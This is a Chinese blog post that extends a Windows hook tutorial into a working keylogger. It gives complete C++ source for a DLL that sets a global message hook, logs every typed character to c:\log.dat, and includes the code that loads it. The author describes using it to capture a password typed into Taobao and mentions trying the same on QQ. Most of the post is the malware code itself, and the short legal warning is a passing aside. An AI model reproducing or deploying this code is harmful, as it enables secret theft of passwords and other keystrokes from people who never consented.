Chinaunix首页 | 论坛 | 博客
  • 博客访问: 261626
  • 博文数量: 71
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 920
  • 用 户 组: 普通用户
  • 注册时间: 2013-08-16 13:07
个人简介

我喜欢蓝天,也喜欢雨天。

文章分类

全部博文(71)

文章存档

2014年(14)

2013年(57)

分类: WINDOWS

2013-11-15 15:59:31

    按照孙鑫老师的讲解,我们可以额外的在此基础上添加获得键盘输入字符,并且写入文件,以此来“偷窥用户的输入-千万不要这么做,会犯法的“....多的不说了,只需要在孙老师的代码上加上
    SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);

    Hook动态库的详细代码:hook.cpp

点击(此处)折叠或打开

  1. #include <windows.h>
  2. #include <stdio.h>

  3. HHOOK g_hMouse=NULL;
  4. HHOOK g_hKeyboard=NULL;
  5. HHOOK g_hMessage=NULL;

  6. #pragma data_seg("MySec")
  7. HWND g_hWnd=NULL;
  8. #pragma data_seg()

  9. //#pragma comment(linker,"/section:MySec,RWS")
  10. /*HINSTANCE g_hInst;

  11. BOOL WINAPI DllMain(
  12.   HINSTANCE hinstDLL, // handle to the DLL module
  13.   DWORD fdwReason, // reason for calling function
  14.   LPVOID lpvReserved // reserved
  15. )
  16. {
  17.     g_hInst=hinstDLL;
  18. }*/

  19. LRESULT CALLBACK MouseProc(
  20.   int nCode, // hook code
  21.   WPARAM wParam, // message identifier
  22.   LPARAM lParam // mouse coordinates
  23. )
  24. {
  25.     UnhookWindowsHookEx(g_hMouse);    ///< 这样“钩子”就失效了
  26.     return 1;
  27. }

  28. LRESULT CALLBACK KeyboardProc(
  29.   int nCode, // hook code
  30.   WPARAM wParam, // virtual-key code
  31.   LPARAM lParam // keystroke-message information
  32. )
  33. {
  34.     //UnhookWindowsHookEx(g_hKeyboard);    ///< 这样“钩子”就失效了
  35.     if(VK_F2==wParam)
  36.     {
  37.         SendMessage(g_hWnd,WM_CLOSE,0,0);
  38.         UnhookWindowsHookEx(g_hMouse);
  39.         UnhookWindowsHookEx(g_hKeyboard);
  40.     }
  41.     return 0;
  42. }

  43. LRESULT CALLBACK GetMsgProc(
  44.     int nCode, // hook code
  45.     WPARAM wParam, // virtual-key code
  46.     LPARAM lParam // keystroke-message information
  47.  )
  48. {
  49.     if(nCode == HC_ACTION)
  50.     {
  51.         MSG * pMsg = (MSG *) lParam;
  52.         if (pMsg->message == WM_CHAR)
  53.         {
  54.             //MessageBox(NULL,"ok","HOOKDLL",MB_OK);
  55.             char ch = (char)pMsg->wParam;
  56.             char pCh[2] = {0};
  57.             pCh[0] = ch;
  58.             pCh[1] = '\0';
  59.             
  60.             FILE * pFile = fopen("c:\\log.dat", "a+");
  61.             fwrite(pCh, 1, strlen(pCh), pFile);
  62.             fclose(pFile);
  63.         }
  64.     }
  65.     return CallNextHookEx(g_hMessage, nCode, wParam, lParam);
  66. }

  67. void SetHook(HWND hwnd)
  68. {
  69.     g_hWnd=hwnd;
  70.     g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("Hook"),0);
  71.     g_hKeyboard=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("Hook"),0);
  72.     g_hMessage=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);
  73. }
    Hook动态库的详细代码:hook.def

点击(此处)折叠或打开

  1. LIBRARY Hook
  2. EXPORTS
  3. SetHook        @2
  4. SEGMENTS
  5. MySec    READ WRITE SHARED
    编译一下,生成.dll和.lib,至于区别,资料看起!

    新建一个对话框工程,设置链接路径,.lib的,然后拷贝上面生成的hook.dll到当前工程目录,(OnInitDialog中)引用方式:
    /////////////////////////////////////////////////////////////////////////////
   // CHookTestDlg message handlers
  _declspec(dllimport) void SetHook(HWND hwnd);

    然后一调:

点击(此处)折叠或打开

  1. BOOL CHookTestDlg::OnInitDialog()
  2. {
  3.     CDialog::OnInitDialog();

  4.     // Add "About..." menu item to system menu.

  5.     // IDM_ABOUTBOX must be in the system command range.
  6.     ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
  7.     ASSERT(IDM_ABOUTBOX < 0xF000);

  8.     CMenu* pSysMenu = GetSystemMenu(FALSE);
  9.     if (pSysMenu != NULL)
  10.     {
  11.         CString strAboutMenu;
  12.         strAboutMenu.LoadString(IDS_ABOUTBOX);
  13.         if (!strAboutMenu.IsEmpty())
  14.         {
  15.             pSysMenu->AppendMenu(MF_SEPARATOR);
  16.             pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
  17.         }
  18.     }

  19.     // Set the icon for this dialog. The framework does this automatically
  20.     // when the application's main window is not a dialog
  21.     SetIcon(m_hIcon, TRUE);            // Set big icon
  22.     SetIcon(m_hIcon, FALSE);        // Set small icon
  23.     
  24.     // TODO: Add extra initialization here
  25.     int cxScreen,cyScreen;
  26.     cxScreen=GetSystemMetrics(SM_CXSCREEN);
  27.     cyScreen=GetSystemMetrics(SM_CYSCREEN);
  28.     SetWindowPos(&wndTopMost,0,0,cxScreen/2,cyScreen/2,SWP_SHOWWINDOW);
  29.     SetHook(m_hWnd);
  30.     return TRUE; // return TRUE unless you set the focus to a control
  31. }
    允许,然后去淘宝网站输入你的密码,你的键盘字符就被存了起来了!有证据(xxxx我自己改的,不想泄漏真实的)  
    但是对于qq输入框,无法获得其键盘消息!应该是qq自身截获了WM_CHAR消息或者啥的!所以本来想测试下qq,但是不行!
   或许有其他办法???不知道了.......【估计还有高深的背后...】
        
 
阅读(1115) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~